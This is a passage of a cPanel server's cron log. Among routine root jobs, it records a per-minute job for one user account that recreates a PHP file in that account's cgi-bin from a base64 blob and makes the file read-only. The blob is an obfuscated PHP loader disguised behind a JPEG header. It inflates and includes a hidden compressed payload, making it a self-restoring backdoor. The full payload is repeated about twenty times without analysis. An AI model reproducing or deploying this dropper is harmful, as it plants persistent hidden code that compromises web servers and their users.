pLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:51:01 server CROND[30352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:51:01 server CROND[30353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:51:01 server CROND[30354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:52:01 server CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:52:01 server CROND[30837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:52:01 server CROND[30838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:53:01 server CROND[31226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:53:01 server CROND[31227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:53:01 server CROND[31228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:54:01 server CROND[31616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:54:01 server CROND[31617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:54:01 server CROND[31618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:55:01 server CROND[32020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:55:01 server CROND[32018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:55:01 server CROND[32019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:55:01 server CROND[32022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:55:01 server CROND[32024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:55:01 server CROND[32023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:55:01 server CROND[32021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:56:01 server CROND[393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:56:01 server CROND[395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:56:01 server CROND[394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:57:01 server CROND[802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:57:01 server CROND[803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:57:01 server CROND[804]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:57:01 server CROND[805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:58:01 server CROND[1388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:58:01 server CROND[1389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:58:01 server CROND[1390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:59:01 server CROND[1793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:59:01 server CROND[1795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:59:01 server CROND[1796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:00:01 server CROND[2255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:00:01 server CROND[2257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:00:01 server CROND[2258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:00:01 server CROND[2263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:00:01 server CROND[2264]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:00:01 server CROND[2266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:00:01 server CROND[2267]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 01:00:01 server CROND[2265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:00:01 server CROND[2262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:01:01 server CROND[3162]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 01:01:01 server CROND[3163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:01:01 server CROND[3164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:01:01 server CROND[3165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:01:01 server run-parts(/etc/cron.hourly)[3162]: starting 0anacron
Sep  5 01:01:01 server anacron[3185]: Anacron started on 2026-09-05
Sep  5 01:01:01 server anacron[3185]: Normal exit (0 jobs run)
Sep  5 01:01:01 server run-parts(/etc/cron.hourly)[3188]: finished 0anacron
Sep  5 01:02:01 server CROND[3641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:02:01 server CROND[3643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:02:01 server CROND[3644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y